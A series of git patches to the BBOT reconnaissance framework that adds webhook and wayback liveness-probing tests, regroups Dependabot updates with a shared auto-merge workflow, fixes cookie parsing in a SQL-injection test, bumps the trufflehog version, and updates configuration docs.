b/bbot/test/test_step_2/module_tests/test_module_webhook.py index 769b9254a3..261ed5925b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_webhook.py +++ b/bbot/test/test_step_2/module_tests/test_module_webhook.py @@ -52,3 +52,57 @@ def check(self, module_test, events): assert self.headers_correct is True assert self.method_correct is True assert self.url_correct is True + + +class TestWebhookGivesUp(TestWebhook): + """A webhook endpoint that always fails must not hang the scan; the module errors out instead.""" + + module_name = "webhook" + # enough events to reach the failure threshold + targets = ["blacklanternsecurity.com", "evilcorp.com", "evilcorp.net", "evilcorp.org"] + + async def setup_after_prep(self, module_test): + module_test.module._api_retry_backoff = 0.01 + self.requests = 0 + + async def custom_callback(request): + self.requests += 1 + return MockResponse(status_code=500) + + module_test.blasthttp_mock.add_callback(custom_callback) + + def check(self, module_test, events): + assert self.requests == module_test.module.api_failure_abort_threshold + assert module_test.module.errored is True + + +class TestWebhookSSLVerify(TestWebhook): + """By default the webhook follows web.ssl_verify_infrastructure, like other API calls.""" + + module_name = "webhook" + expected_ssl_verify = True + + async def setup_after_prep(self, module_test): + await super().setup_after_prep(module_test) + self.ssl_verify = [] + web = module_test.scan.helpers.web + original_request = web.request + + async def recording_request(*args, **kwargs): + self.ssl_verify.append(kwargs.get("ssl_verify")) + return await original_request(*args, **kwargs) + + web.request = recording_request + + def check(self, module_test, events): + super().check(module_test, events) + assert self.ssl_verify and all(v is self.expected_ssl_verify for v in self.ssl_verify) + + +class TestWebhookSSLVerifyOverride(TestWebhookSSLVerify): + """The module's ssl_verify option overrides the global setting.""" + + config_overrides = { + "modules": {"webhook": {**TestWebhook.config_overrides["modules"]["webhook"], "ssl_verify": False}} + } + expected_ssl_verify = False From cae534679098bfec9c34f2ea794adb6771921eb6 Mon Sep 17 00:00:00 2001 From: Shane Engelman Date: Tue, 6 Oct 2026 23:26:36 +0900 Subject: [PATCH 133/256] ci(dependabot): weekly grouped updates and shared auto-merge for minor and patch (#3487) * ci(dependabot): group updates weekly and auto-merge minor and patch Individual dependabot PRs pile up faster than one engineer can review them and go stale until they conflict (bbot-enterprise#141). Every ecosystem now runs weekly against dev and opens at most two grouped PRs: one for minor and patch bumps, one for majors. A pull_request_target workflow enables auto-merge (squash) on the minor/patch group so it lands once required checks pass. Majors still need a human. * ci(dependabot): call the shared auto-merge workflow The auto-merge job was a byte-identical copy in ten repositories. It now calls dependabot-auto-merge.yml in blacklanternsecurity/.github, pinned by SHA, so the fetch-metadata pin and merge policy live in one place. The trigger moves from pull_request_target to pull_request. Dependabot branches live in this repository, so the privileged target context was never needed and zizmor flags it as a dangerous trigger. Adds the pre-commit ecosystem so the hook revs in .pre-commit-config.yaml are bumped with everything else. * ci(dependabot): call auto-merge from the public CLA repository blacklanternsecurity/.github is private, so public repositories cannot call reusable workflows from it and the run failed as a workflow file issue. The shared workflow lives in blacklanternsecurity/CLA, which is public and already hosts cla-reusable.yml. * ci(dependabot): gate auto-merge on finished checks dev carries no required checks (#139), so gh pr merge --auto would merge immediately rather than on green. The shared workflow now waits for every other check on the head commit, refuses on failure or cancel, and merges with --match-head-commit. The caller grants checks: read so it can read check state. * ci(dependabot): pin the shared workflow to the current CLA tip Aligns with the SHA the other shared CLA workflows are pinned to. The auto-merge workflow is unchanged between the two commits. --- .github/dependabot.yml | 67 ++++++++++++++++++--- .github/workflows/dependabot-auto-merge.yml | 12 ++++ 2 files changed, 72 insertions(+), 7 deletions(-) create mode 100644 .github/workflows/dependabot-auto-merge.yml diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 86128d1eb9..457575bb09 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -2,16 +2,69 @@ version: 2 updates: - package-ecosystem: "uv" directory: "/" + target-branch: "dev" schedule: interval: "weekly" + groups: + uv-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + uv-major: + patterns: + - "*" + update-types: + - "major" + - package-ecosystem: "github-actions" + directory: "/" target-branch: "dev" - open-pull-requests-limit: 10 - - package-ecosystem: github-actions - directory: / + schedule: + interval: "weekly" groups: - github-actions: + github-actions-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + github-actions-major: patterns: - - "*" # Group all Actions updates into a single larger pull request + - "*" + update-types: + - "major" + - package-ecosystem: "docker" + directory: "/" + target-branch: "dev" schedule: - interval: weekly - target-branch: "dev" + interval: "weekly" + groups: + docker-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + docker-major: + patterns: + - "*" + update-types: + - "major" + - package-ecosystem: "pre-commit" + directory: "/" + target-branch: "dev" + schedule: + interval: "weekly" + groups: + pre-commit-minor-patch: + patterns: + - "*" + update-types: + - "minor" + - "patch" + pre-commit-major: + patterns: + - "*" + update-types: + - "major" diff --git a/.github/workflows/dependabot-auto-merge.yml b/.github/workflows/dependabot-auto-merge.yml new file mode 100644 index 0000000000..1730bc4411 --- /dev/null +++ b/.github/workflows/dependabot-auto-merge.yml @@ -0,0 +1,12 @@ +name: Dependabot auto-merge +on: pull_request + +permissions: {} + +jobs: + auto-merge: + permissions: + contents: write + pull-requests: write + checks: read + uses: blacklanternsecurity/CLA/.github/workflows/dependabot-auto-merge.yml@e532142ee9e7322888f6edc80d9a89e2f8c0d96d # 2026-10-03 From 89bb534034bb089aabec067297aede7f13e54e03 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Tue, 6 Oct 2026 10:41:25 -0400 Subject: [PATCH 134/256] Update trufflehog (#3499) --- bbot/modules/trufflehog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 127199702f..22d727d83f 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.97.9", description="trufflehog version") + version: str = Field("3.98.0", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From 8e3d0ec6588e36fa2038639d2dd88e55be23f217 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Tue, 6 Oct 2026 11:42:57 -0400 Subject: [PATCH 135/256] read raw Cookie header in lightfuzz sqli cookie test (#3498) --- .../test_step_2/module_tests/test_module_lightfuzz.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 94a2a93272..a450714459 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1527,7 +1527,15 @@ async def setup_after_prep(self, module_test): """ def request_handler(self, request): - return sqli_injectable_response(request.cookies.get("test"), self.placeholder_block) + # read the raw header rather than request.cookies: the cookie parser discards values + # containing spaces, which the boolean differential probes rely on + value = None + for pair in (request.headers.get("Cookie") or "").split(";"): + name, _, pair_value = pair.partition("=") + if name.strip() == "test": + value = pair_value.strip() + break + return sqli_injectable_response(value, self.placeholder_block) def check(self, module_test, events): sqli_finding_emitted = False From 7c1fcc9acc21fec56c730053f51ad0e9a58b6c48 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Tue, 6 Oct 2026 11:59:04 -0400 Subject: [PATCH 136/256] Verify hosts are alive before emitting wayback URLs (#3359) * Verify hosts are alive before emitting wayback URLs Probe each scheme/host/port once with HEAD / before emitting URL_UNVERIFIEDs, caching verdicts in a bounded (~10MB) LRU. Dead hosts still populate the archive cache, since fetching their snapshots is what that feature is for. * skip wayback liveness probing when a proxy is configured Also pins the interesting-file exemption with a test: those findings are fetched from archive.org rather than the host, so they're intentionally not liveness-gated. * Use scan.http_proxy for the wayback liveness gate --- bbot/modules/wayback.py | 67 ++++++++- .../module_tests/test_module_wayback.py | 136 ++++++++++++++++++ 2 files changed, 201 insertions(+), 2 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 58f965106d..6348ba72d5 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -5,6 +5,7 @@ from urllib.parse import parse_qs, urlparse, urlunparse import orjson +from cachetools import LRUCache from bbot.core.helpers.misc import get_file_extension from bbot.core.helpers.validators import clean_url @@ -159,6 +160,54 @@ def _filter_urls_sync(self, urls): kept = [url for idx, url in enumerate(candidates) if idx not in junk_set] return kept, len(junk_set) + # HTTP liveness probing for hosts found in CDX results. A dead host's URLs are dropped + # instead of being emitted for the rest of the scan to chase. + # 40K (scheme, netloc) -> bool entries measures out to roughly 10MB. + _liveness_cache_size = 40000 + _liveness_probe_threads = 25 + # one retry, so a single dropped packet doesn't condemn a live host + _liveness_probe_retries = 1 + + async def _live_netlocs(self, keys): + """Return the subset of (scheme, netloc) keys that answer HTTP. + + Any response counts as alive -- only connect failures and timeouts (after retries) + mark a host dead. Verdicts are cached for the rest of the scan. + + Probing is skipped entirely when a proxy is configured, since the proxy answers on the + target's behalf: an unreachable upstream comes back as a proxy 502, which is + indistinguishable from a real one. With no trustworthy verdict available we emit every + host's URLs rather than guess. + """ + if not self._liveness_probing: + return set(keys) + live = set() + probes = [] + probe_kwargs = { + "method": "HEAD", + "follow_redirects": False, + "retries": self._liveness_probe_retries, + "timeout": self.http_timeout, + } + for key in keys: + cached = self._liveness_cache.get(key) + if cached is not None: + if cached: + live.add(key) + continue + scheme, netloc = key + probes.append((f"{scheme}://{netloc}/", probe_kwargs, key)) + if probes: + self.verbose(f"Probing {len(probes):,} hosts for HTTP liveness") + async for _, response, key in self.helpers.request_batch_stream( + probes, threads=self._liveness_probe_threads + ): + is_live = response is not None + self._liveness_cache[key] = is_live + if is_live: + live.add(key) + return live + def _is_interesting_file(self, url): ext = get_file_extension(url) if ext and ext.lower() in self.interesting_extensions: @@ -193,6 +242,10 @@ async def setup(self): # (multiple request URLs can redirect to the same archived snapshot) # 32M bits (~4MB) supports ~400K entries with negligible false-positive rate self._archive_bloom = self.helpers.bloom_filter(32000000) + self._liveness_cache = LRUCache(maxsize=self._liveness_cache_size) + self._liveness_probing = not self.scan.http_proxy + if self.urls and not self._liveness_probing: + self.verbose("Emitting wayback URLs without liveness probing because an HTTP proxy is configured") self._junk_url_rules = self.helpers.yara.compile(source="\n".join(self._junk_url_yara_rules.values())) return await super().setup() @@ -491,14 +544,24 @@ async def query(self, query): https_key = parsed_url._replace(scheme="https").geturl() if https_key not in url_dedup or parsed_url.scheme == "https": url_dedup[https_key] = parsed_url + # only emit URLs for hosts that actually answer HTTP -- a dead host's URLs + # are pure cost for every downstream module + live_netlocs = await self._live_netlocs({(p.scheme, p.netloc) for p in url_dedup.values()}) + dead_urls = 0 for parsed_url in url_dedup.values(): url_str = parsed_url.geturl() + # dead hosts are exactly what the archive is for, so they still get cached for finish() + if self.archive and url_str in archive_urls: + self._archive_cache[url_str] = archive_urls[url_str] + if (parsed_url.scheme, parsed_url.netloc) not in live_netlocs: + dead_urls += 1 + continue results.add((url_str, "URL_UNVERIFIED")) if self.parameters and url_str in raw_url_params: base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, parsed_url.path, "", "", "")) self._parameter_cache[url_str] = (raw_url_params[url_str], base_url) - if self.archive and url_str in archive_urls: - self._archive_cache[url_str] = archive_urls[url_str] + if dead_urls: + self.verbose(f"Dropped {dead_urls:,} URLs belonging to hosts that don't answer HTTP") else: for parsed_url in parsed_urls: collapsed_urls += 1 diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index e5ca282644..330a62dbd0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -4,6 +4,7 @@ from werkzeug.wrappers import Response from bbot.modules.wayback import wayback +from bbot.test.mock_blasthttp import MockResponse from .base import ModuleTestBase from bbot.test.worker import HTTPSERVER_URL @@ -36,6 +37,8 @@ async def setup_after_prep(self, module_test): ) # serve a response on the local httpserver so the httpx binary gets a 200 module_test.set_expect_requests(expect_args={"uri": "/page"}, respond_args={"response_data": "alive"}) + # answer wayback's host liveness probe + module_test.set_expect_requests(expect_args={"uri": "/"}, respond_args={"response_data": "alive"}) def check(self, module_test, events): assert any(e.type == "URL_UNVERIFIED" and "127.0.0.1" in e.url and "/page" in e.url for e in events), ( @@ -74,6 +77,7 @@ async def setup_after_prep(self, module_test): url="http://web.archive.org/web/http://blacklanternsecurity.com/backup/site.zip", headers={"Content-Type": "application/zip", "Content-Length": "1048576"}, ) + module_test.blasthttp_mock.add_response(url="http://blacklanternsecurity.com/", text="alive") def check(self, module_test, events): assert any( @@ -87,6 +91,131 @@ def check(self, module_test, events): assert "web.archive.org" in e.data["url"] +class TestWaybackDeadHostSkip(ModuleTestBase): + """URLs are only emitted for hosts that answer HTTP; a dead host's URLs are dropped.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + targets = ["blacklanternsecurity.com"] + config_overrides = {"modules": {"wayback": {"urls": True}}} + + async def setup_after_prep(self, module_test): + # both hosts resolve -- HTTP reachability is the only difference between them + await module_test.mock_dns( + { + "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, + "live.blacklanternsecurity.com": {"A": ["127.0.0.88"]}, + "dead.blacklanternsecurity.com": {"A": ["127.0.0.88"]}, + } + ) + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[ + ["original"], + ["https://live.blacklanternsecurity.com/one"], + ["https://live.blacklanternsecurity.com/two"], + ["https://dead.blacklanternsecurity.com/one"], + ["https://dead.blacklanternsecurity.com/two"], + ], + ) + # only the live host answers the liveness probe -- dead.* has no registered + # response, so its probe errors out the way an unreachable host would + self.probes = [] + + def count_probe(request): + self.probes.append(request.url) + return MockResponse(status_code=200, text="alive") + + module_test.blasthttp_mock.add_callback(count_probe, url="https://live.blacklanternsecurity.com/") + + def check(self, module_test, events): + emitted = sorted(e.url for e in events if e.type == "URL_UNVERIFIED") + assert emitted == [ + "https://live.blacklanternsecurity.com/one", + "https://live.blacklanternsecurity.com/two", + ], f"Expected only the live host's URLs, got: {emitted}" + # the host is probed once, no matter how many of its URLs came back from CDX + assert self.probes == ["https://live.blacklanternsecurity.com/"], f"Expected 1 probe, got: {self.probes}" + assert module_test.module._liveness_cache == { + ("https", "live.blacklanternsecurity.com"): True, + ("https", "dead.blacklanternsecurity.com"): False, + }, f"Unexpected liveness cache contents: {dict(module_test.module._liveness_cache)}" + + +class TestWaybackDeadHostInterestingFile(ModuleTestBase): + """Interesting-file FINDINGs are not gated on host liveness. The file is fetched from + archive.org, not the host, and a backup.zip that no longer exists on a dead host is + exactly what the archive is worth searching for.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + targets = ["blacklanternsecurity.com"] + config_overrides = {"modules": {"wayback": {"urls": True}}} + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.88"]}}) + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[["original"], ["http://blacklanternsecurity.com/backup/site.zip"]], + ) + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/web/http://blacklanternsecurity.com/backup/site.zip", + headers={"Content-Type": "application/zip", "Content-Length": "1048576"}, + ) + # no response registered for http://blacklanternsecurity.com/, so the host reads dead + + def check(self, module_test, events): + assert not any(e.type == "URL_UNVERIFIED" for e in events), "Dead host should emit no URL_UNVERIFIED events" + assert module_test.module._liveness_cache == {("http", "blacklanternsecurity.com"): False}, ( + f"Expected the host to be probed and marked dead: {dict(module_test.module._liveness_cache)}" + ) + assert any(e.type == "FINDING" and "site.zip" in e.data["description"] for e in events), ( + "Interesting-file FINDING should still be emitted for a dead host" + ) + + +class TestWaybackProxySkipsLivenessProbe(ModuleTestBase): + """A proxy answers on the target's behalf, so a response says nothing about the host. + With one configured, no probes are sent and every host's URLs are emitted.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + targets = ["blacklanternsecurity.com"] + config_overrides = { + "modules": {"wayback": {"urls": True}}, + "web": {"http_proxy": "http://127.0.0.1:9999"}, + } + + async def setup_after_prep(self, module_test): + await module_test.mock_dns( + { + "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, + "dead.blacklanternsecurity.com": {"A": ["127.0.0.88"]}, + } + ) + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[["original"], ["https://dead.blacklanternsecurity.com/one"]], + ) + self.probes = [] + + def record_probe(request): + self.probes.append(request.url) + return MockResponse(status_code=502, text="Bad Gateway") + + module_test.blasthttp_mock.add_callback(record_probe, url="https://dead.blacklanternsecurity.com/") + + def check(self, module_test, events): + assert self.probes == [], f"No liveness probe should be sent when a proxy is configured: {self.probes}" + assert not module_test.module._liveness_cache, ( + f"Liveness cache should stay empty under a proxy: {dict(module_test.module._liveness_cache)}" + ) + emitted = sorted(e.url for e in events if e.type == "URL_UNVERIFIED") + assert emitted == ["https://dead.blacklanternsecurity.com/one"], ( + f"URLs should be emitted unfiltered under a proxy, got: {emitted}" + ) + + class TestWaybackArchive(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback", "badsecrets", "excavate"] @@ -168,6 +297,7 @@ async def setup_after_prep(self, module_test): ["https://blacklanternsecurity.com/page"], ], ) + module_test.blasthttp_mock.add_response(url="https://blacklanternsecurity.com/", text="alive") def check(self, module_test, events): url_unverified = [e for e in events if e.type == "URL_UNVERIFIED" and "/page" in e.url] @@ -194,6 +324,7 @@ async def setup_after_prep(self, module_test): ["http://blacklanternsecurity.com/old-http-only"], ], ) + module_test.blasthttp_mock.add_response(url="http://blacklanternsecurity.com/", text="alive") def check(self, module_test, events): url_unverified = [e for e in events if e.type == "URL_UNVERIFIED" and "/old-http-only" in e.url] @@ -220,6 +351,7 @@ async def setup_after_prep(self, module_test): ["https://blacklanternsecurity.com/real-page"], ], ) + module_test.blasthttp_mock.add_response(url="https://blacklanternsecurity.com/", text="alive") def check(self, module_test, events): # cdn-cgi URL should be filtered @@ -559,6 +691,7 @@ async def setup_after_prep(self, module_test): ["https://blacklanternsecurity.com/real-page"], ], ) + module_test.blasthttp_mock.add_response(url="https://blacklanternsecurity.com/", text="alive") def check(self, module_test, events): # garbage URL should be filtered @@ -590,6 +723,7 @@ async def setup_after_prep(self, module_test): ["https://blacklanternsecurity.com/normal-page"], ], ) + module_test.blasthttp_mock.add_response(url="https://blacklanternsecurity.com/", text="alive") def check(self, module_test, events): # long URL should be filtered @@ -632,6 +766,7 @@ async def setup_after_prep(self, module_test): url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], *([u] for u in self.junk_urls + self.legit_urls)], ) + module_test.blasthttp_mock.add_response(url="https://blacklanternsecurity.com/", text="alive") def check(self, module_test, events): emitted = [e.url for e in events if e.type == "URL_UNVERIFIED"] @@ -671,6 +806,7 @@ async def setup_after_prep(self, module_test): url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], *([u] for u in all_urls)], ) + module_test.blasthttp_mock.add_response(url="https://blacklanternsecurity.com/", text="alive") def check(self, module_test, events): emitted = [e.url for e in events if e.type == "URL_UNVERIFIED"] From 7aeee20235b87dc76ac77e94b759a315e49b0e53 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Wed, 7 Oct 2026 10:32:38 -0400 Subject: [PATCH 137/256] fix: request sqlalchemy's asyncio extra in the SQL output modules (#3505) SQLAlchemy 2.0 declared `greenlet>=1` unconditionally on every mainstream arch (x86_64, amd64, aarch64, ...), so greenlet always landed as a silent transitive dep. 2.1 dropped that marker and moved greenlet behind the `asyncio` extra. sqlmodel pins `SQLAlchemy<2.2.0,>=2.0.14`, so the moment 2.1.0 hit PyPI on 2026-09-24 the modules' unpinned `pip install --upgrade sqlmodel` started resolving to 2.1.x with no greenlet. `sqlalchemy.ext.asyncio` hard-requires greenlet, so sqlite, mysql and postgres all began failing setup with "The SQLAlchemy asyncio module requires that the Python 'greenlet' library is installed", taking down every CI job regardless of PR content. Nothing in pyproject.toml or uv.lock covers this: these are runtime module deps installed by the deps installer, and its constraint file is built from bbot's own `dist.requires`, which never mentions sqlalchemy. Asking for `sqlmodel[asyncio]` restores greenlet at the declaration that actually needs it, rather than pinning sqlalchemy back to <2.1. --- bbot/modules/output/mysql.py | 2 +- bbot/modules/output/postgres.py | 2 +- bbot/modules/output/sqlite.py | 2 +- bbot/test/test_step_1/test_depsinstaller.py | 32 +++++++++++++++++++++ 4 files changed, 35 insertions(+), 3 deletions(-) diff --git a/bbot/modules/output/mysql.py b/bbot/modules/output/mysql.py index b09d101b48..ac929016a3 100644 --- a/bbot/modules/output/mysql.py +++ b/bbot/modules/output/mysql.py @@ -20,7 +20,7 @@ class Config(BaseModuleConfig): 10, description="Number of times to retry connecting to the database (1 second between retries)" ) - deps_pip = ["sqlmodel", "aiomysql"] + deps_pip = ["sqlmodel[asyncio]", "aiomysql"] protocol = "mysql+aiomysql" async def create_database(self): diff --git a/bbot/modules/output/postgres.py b/bbot/modules/output/postgres.py index a94ade61b8..000e73845d 100644 --- a/bbot/modules/output/postgres.py +++ b/bbot/modules/output/postgres.py @@ -20,7 +20,7 @@ class Config(BaseModuleConfig): 10, description="Number of times to retry connecting to the database (1 second between retries)" ) - deps_pip = ["sqlmodel", "asyncpg"] + deps_pip = ["sqlmodel[asyncio]", "asyncpg"] protocol = "postgresql+asyncpg" async def create_database(self): diff --git a/bbot/modules/output/sqlite.py b/bbot/modules/output/sqlite.py index f48b800554..852426715a 100644 --- a/bbot/modules/output/sqlite.py +++ b/bbot/modules/output/sqlite.py @@ -18,7 +18,7 @@ class Config(BaseModuleConfig): 10, description="Number of times to retry connecting to the database (1 second between retries)" ) - deps_pip = ["sqlmodel", "aiosqlite"] + deps_pip = ["sqlmodel[asyncio]", "aiosqlite"] async def setup(self): db_file = self.config.get("database", "") diff --git a/bbot/test/test_step_1/test_depsinstaller.py b/bbot/test/test_step_1/test_depsinstaller.py index 6d6ab8beee..c45abb2e22 100644 --- a/bbot/test/test_step_1/test_depsinstaller.py +++ b/bbot/test/test_step_1/test_depsinstaller.py @@ -156,3 +156,35 @@ async def mock_install_core_deps(): for module_name in (missing_module, present_module): preloaded.pop(module_name, None) await scan._cleanup() + + +def test_sql_modules_request_sqlalchemy_asyncio_extra(): + """SQLAlchemy 2.1 moved greenlet out of its default install and into the `asyncio` extra. + + The SQL output modules drive `sqlalchemy.ext.asyncio`, which hard-requires greenlet, so each + one must ask for the extra explicitly. A bare `sqlmodel` resolves without greenlet and the + module then hard-fails setup at scan time. + """ + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + preloaded = MODULE_LOADER.preloaded() + + sqlmodel_modules = sorted( + name + for name, module in preloaded.items() + if any(dep.split("[")[0].split("=")[0].split("~")[0].strip() == "sqlmodel" for dep in module["deps"]["pip"]) + ) + assert sqlmodel_modules, "expected to find modules depending on sqlmodel" + + for module_name in sqlmodel_modules: + deps_pip = preloaded[module_name]["deps"]["pip"] + provides_greenlet = any( + (dep.startswith("sqlmodel[") and "asyncio" in dep.split("]")[0]) + or dep.split("=")[0].split("~")[0].split("<")[0].split(">")[0].strip() == "greenlet" + for dep in deps_pip + ) + assert provides_greenlet, ( + f"{module_name}.deps_pip must pull in greenlet " + f"(via sqlmodel[asyncio] or an explicit greenlet dep), got {deps_pip}" + ) From a536fa1c341a194545045e39a6082205a83374da Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Wed, 7 Oct 2026 11:57:32 -0400 Subject: [PATCH 138/256] [create-pull-request] automated change (#3504) Co-authored-by: Paul Mueller --- docs/scanning/configuration.md | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index a8605da665..b94a1d9d8b 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -676,7 +676,6 @@ In addition to the stated options for each module, the following universal optio | modules.shodan_dns.api_key | str | list[str] | Shodan API key | | | modules.shodan_enterprise.api_key | str | list[str] | Shodan API Key | | | modules.shodan_enterprise.in_scope_only | bool | Only query in-scope IPs. If False, will query up to distance 1. | True | -| modules.shodan_idb.retries | Optional[int] | How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting. | None | | modules.subdomainradar.api_key | str | list[str] | SubDomainRadar.io API key | | | modules.subdomainradar.group | Literal['fast', 'medium', 'deep'] | The enumeration group to use. Choose from fast, medium, deep | fast | | modules.subdomainradar.timeout | int | Timeout in seconds | 120 | @@ -693,7 +692,7 @@ In addition to the stated options for each module, the following universal optio | modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | | modules.trufflehog.deleted_forks | bool | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours. | False | | modules.trufflehog.only_verified | bool | Only report credentials that have been verified | True | -| modules.trufflehog.version | str | trufflehog version | 3.97.9 | +| modules.trufflehog.version | str | trufflehog version | 3.98.0 | | modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | | modules.virustotal.api_key | str | list[str] | VirusTotal API Key | | | modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | @@ -708,9 +707,9 @@ In addition to the stated options for each module, the following universal optio | modules.csv.output_file | str | Output to CSV file | | | modules.discord.event_types | list[str] | Types of events to send | ['FINDING'] | | modules.discord.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.discord.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.discord.webhook_url | str | Discord webhook URL | | | modules.elastic.password | str | Elastic password | bbotislife | +| modules.elastic.ssl_verify | bool | None | Verify SSL certificates (Elastic usually serves a self-signed cert; set to null to use the global web.ssl_verify_infrastructure setting) | False | | modules.elastic.timeout | int | HTTP timeout | 10 | | modules.elastic.url | str |` Elastic URL (e.g. https://localhost:9200//_doc) `| https://localhost:9200/bbot_events/_doc | | modules.elastic.username | str | Elastic username | elastic | @@ -744,7 +743,6 @@ In addition to the stated options for each module, the following universal optio | modules.rabbitmq.url | str | The RabbitMQ connection URL | amqp://guest:guest@localhost/ | | modules.slack.event_types | list[str] | Types of events to send | ['FINDING'] | | modules.slack.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.slack.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.slack.webhook_url | str | Slack webhook URL | | | modules.splunk.hectoken | str | HEC Token | | | modules.splunk.index | str | Index to send data to | | @@ -762,7 +760,6 @@ In addition to the stated options for each module, the following universal optio | modules.subdomains.output_file | str | Output to file | | | modules.teams.event_types | list[str] | Types of events to send | ['FINDING'] | | modules.teams.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.teams.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.teams.webhook_url | str | Teams webhook URL | | | modules.txt.output_file | str | Output to file | | | modules.web_parameters.include_count | bool | Include the count of each parameter in the output | False | @@ -773,6 +770,7 @@ In addition to the stated options for each module, the following universal optio | modules.webhook.headers | dict | Additional headers to send with the request | {} | | modules.webhook.method | str | HTTP method | POST | | modules.webhook.password | str | Password (basic auth) | | +| modules.webhook.ssl_verify | bool | None | Verify SSL certificates (defaults to the global web.ssl_verify_infrastructure setting) | None | | modules.webhook.timeout | int | HTTP timeout | 10 | | modules.webhook.url | str | Web URL | | | modules.webhook.username | str | Username (basic auth) | | From 24b0927b8300b18e0392bfd337bb3ca354bf7e68 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Wed, 7 Oct 2026 11:57:56 -0400 Subject: [PATCH 139/256] Update trufflehog (#3503) Co-authored-by: Paul Mueller --- bbot/modules/trufflehog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 22d727d83f..ae00e451bc 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.98.0", description="trufflehog version") + version: str = Field("3.99.0", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From 3be1b99fc223095a856a7fbec1277a62abb7a2a8 Mon Sep 17 00:00:00 2001 